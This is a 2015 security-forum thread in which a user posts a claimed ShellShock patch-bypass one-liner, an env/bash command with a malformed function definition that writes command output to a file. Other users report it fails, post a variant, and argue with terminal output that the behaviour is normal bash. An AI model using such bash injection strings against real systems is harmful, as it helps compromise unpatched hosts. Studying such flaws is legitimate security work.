ShellShock Patch Bypass ;)

[X1.]

Last patch bypass.

rm -f echo && env -i  X='() { (a)=>\' bash -c 'echo date'; cat echo

Enjoy, depends on your OS maybe date could be $(date),

Enjoy.

[Nytro]

Nu pare sa mearga.

Edited February 25, 2015 by Nytro

[gogusan]

nu merge.

[doitnow]

lol, just lol.

[Guest Kronzy]

@gogusan cat a fost privata cam 1-2 luni mergea perfect.

[X1.]

If you could write in english I whould appriciate it .

Since I dont understand RO.

[Guest Kronzy]

If you could write in english I whould appriciate it .

Since I dont understand RO.

Bro say the exploit no work:D

[X1.]

Maybe its just because they dont know how to use linux ?

[Faciubici]

Bro say the exploit no work:D

and adar bro sei iu spic inglis laic a góse.

[Nytro]

env X='() { (a)=>\' bash -c 'echo $(date)';

It works...

[shaggi]

shaggi@programare:~$ echo $(date)
joi 26 februarie 2015, 14:09:14 +0200
shaggi@programare:~$ env 1337='' ls
Apps    Desktop  Documents  Downloads  Music  Net  Pictures  Public  Templates  Videos
shaggi@programare:~$ env 1337='' echo $(date)
joi 26 februarie 2015, 14:09:35 +0200
shaggi@programare:~$ env 1337='' bash -c 'echo $(date)'
joi 26 februarie 2015, 14:09:48 +0200
shaggi@programare:~$ env 1337='\' bash -c 'echo $(date)'
joi 26 februarie 2015, 14:09:58 +0200
shaggi@programare:~$ 

yup, normal ca merge, asta e bash.. nu e vector de atac shellshock

[Nytro]

https://access.redhat.com/articles/1200223